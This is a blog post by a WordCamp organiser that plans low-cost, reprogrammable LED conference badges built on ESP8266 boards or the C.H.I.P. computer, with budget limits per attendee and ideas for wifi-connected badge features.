    I’m also pondering and trying to sort out what exactly would be needed to accomplish them on a budget that could be done for a WordCamp, and have it be both hackable after the event, but also usable during — and of course, look cool.

    From my experience running a WordCamp, I know that attendee gifts should normally be about or just under $10 per attendee, whereas speaker gifts should normally be about maybe $20 or so.  One handy bit is that speaker gifts are in addition to attendee gifts that they get anyways, so it’s possible to have the speaker gift be an addition to their attendee badge — like an LED display and better battery or sensors or the like.

    All this compiles to roughly the following requirements for attendees:

    • $10 per badge price limit.
    • Battery powered.
    • Blinky LEDs — either pretty or useful.
    • (optional) Reprogrammable after (or during) the event.

    The programmability and interactivity aspect of the badge is particularly tricky, but there’s a variety of cheap microcontroller units (MCU) like the ESP-8266 12-F that can be had for under $1 per in quantity.  Or, if you’d like something a bit easier for your attendees to reprogram, the Wemos D1 Mini which is based on the aforementioned ESP-8266 12-F can also be had for under a dollar in quantity — while it would make your badge a bit bulkier as it would need to connect to your badge via pins, rather than just soldering SMD directly to the badge — it also provides a Micro USB port to make it easier for users to connect to, without having to supply their own UART adapter.  The added bulk is likely worth it, in this case.

    As an aside, the Wemos D1 Mini is also programmable via the Arduino IDE, so that may simplify the process for your attendees to hack on their badges.

    The other tremendous advantage to using an ESP8266 based board as the brain of your badge is that the ESP8266 is actually a wifi chip!  That’s right, it can reach out and connect to wifi networks, or make an ad hoc network between multiple badges so they can communicate!

    This opens up a number of possibilities.  Would you like to let your attendees sign up for specific sessions throughout the day, and have their badge light up an LED indicating which room they need to go to?  Totally doable!  Would you like to have every attendee’s badge light up and start blinking at the same time?  Also doable!

    The one downside with being cost-constrained is that you may wind up putting in more time than expected assembling the boards.  It is possible to have your factory that manufactures the PCBs also pick and solder all the components, but that costs a bit more as well.  If you’re doing a short run of maybe 10-20 boards for just speakers or the like, it’ll probably be easier to just make them yourself.

    The other option that can be explored is to have the attendee gift be a cheap system-on-a-chip linux computer somewhat like to the $5 Raspberry Pi Zero — basically giving every attendee a computer that can operate as a WordPress Server — and then have the Speaker Gift be a badge with sensors and lights and batteries that can be powered by the attendee gift.

    In my exploring of this option, it seems that the simplest option may actually be the C.H.I.P. — while there are other options such as the aforementioned Raspberry Pi Zero and Orange Pi Zero, they both would necessitate also picking up MicroSD cards which can add to the price significantly — however, there are other development boards like the C.H.I.P. that include sufficient storage space on-board to simplify supply chain management.

    https://nextthing.co/pages/chip

    For $9, you get a 1GHz processor, 4GB of storage space, 512MB of RAM, and both Bluetooth 4.0 and WiFi b/g/n for connectivity.  While it doesn’t have the mini-HDMI out that the Raspberry Pi Zero has, it does have composite video out on the board’s headphone jack — and the manufacturer also sells expansion boards that can add on either HDMI or VGA displays.

    As an added bonus, when you need to flash your Chip, the maker also has a tremendously simple, browser-based flasher tool. For something you’re giving to attendees — many of whom may not be comfortable with flashing development boards — the visual flow can be tremendously useful as a jumping off point for many.

    Then you simply need to design a badge with  the pin headers for the C.H.I.P. to plug into, work up a firmware image with things such as the event’s wifi details preloaded, and a script running on a cronjob to operate the lights — and you’ve got yourself a badge for your speakers!

    Or at least that’s the plan.  At the moment, this is all theoretical, I’ve been puttering about and planning possibilities, but haven’t had occasion to actually put all of this into practice.  If any of it catches your fancy and you’d be interested in doing digital badges for your WordCamp, drop me a line on Twitter at @daljo628 and I’d be happy to help as I can.  🙂